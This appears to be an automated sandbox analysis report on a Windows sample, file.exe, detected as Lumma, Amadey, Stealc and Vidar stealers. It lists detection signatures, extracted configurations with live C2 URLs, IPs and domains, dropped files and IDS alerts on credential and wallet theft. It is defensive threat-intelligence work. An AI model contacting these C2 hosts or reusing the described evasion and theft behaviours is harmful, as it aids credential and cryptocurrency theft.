Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1540693
MD5:	0af4b09e3011f05b8544c8bdd3cd9d0e
SHA1:	a7366a2ccb143c3bef6675b843e6bc783fc987be
SHA256:	a4cf0a305d3f13a420212b85d701f0b2b3f15fddbec04e1aa86c04e45d78b335
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/0d60be0de163924d/nss3.dll

URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc

Found malware configuration

Source: 00000007.00000002.2297402826.0000000000251000.00000040.00000001.01000000.00000009.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 4.2.7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.530000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 4.2.7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.530000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: file.exe.1672.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["studennotediw.store", "clearancek.site", "licendfilteo.site", "spirittunek.store", "mobbipenju.store", "dissapoiznw.store", "eaglepawnoy.store", "bathdoomgaz.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6EA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	4_2_6C6EA9A0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6E4440 PK11_PrivDecrypt,	4_2_6C6E4440
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6B4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	4_2_6C6B4420
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6E44C0 PK11_PubEncrypt,	4_2_6C6E44C0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C7325B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	4_2_6C7325B0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6C8670 PK11_ExportEncryptedPrivKeyInfo,	4_2_6C6C8670
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6EA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	4_2_6C6EA650
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6CE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	4_2_6C6CE6E0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C70A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	4_2_6C70A730
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C710180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	4_2_6C710180
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6E43B0 PK11_PubEncryptPKCS1,PR_SetError,	4_2_6C6E43B0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C707C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	4_2_6C707C00
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6C7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	4_2_6C6C7D60
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C70BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	4_2_6C70BD30
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C709EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	4_2_6C709EC0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6E3FF0 PK11_PrivDecryptPKCS1,	4_2_6C6E3FF0

Uses 32bit PE files

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50039 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499679717.000000006F8DD000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: nss3.pdb@ source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: nss3.pdb source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: DIKGVVY9JNEBJRBXL.exe, 00000006.00000003.2256599403.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, DIKGVVY9JNEBJRBXL.exe, 00000006.00000002.2390709410.00000000007A2000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: mozglue.pdb source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499679717.000000006F8DD000.00000002.00000001.01000000.0000000F.sdmp

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 188MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:62212 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:65215 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:64208 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:55501 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:55513 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:57351 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:56470 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:63071 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49737 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49737 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.5:49737
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49737 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.5:49737
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49737 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49987 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:61622 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:58024 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:65534 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:59719 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:58390 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:55105 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:59540 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:63882 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49988
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49991 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044623 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) : 192.168.2.5:49994 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:55467 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:56448 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:51211 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:53326 -> 1.1.1.1:53
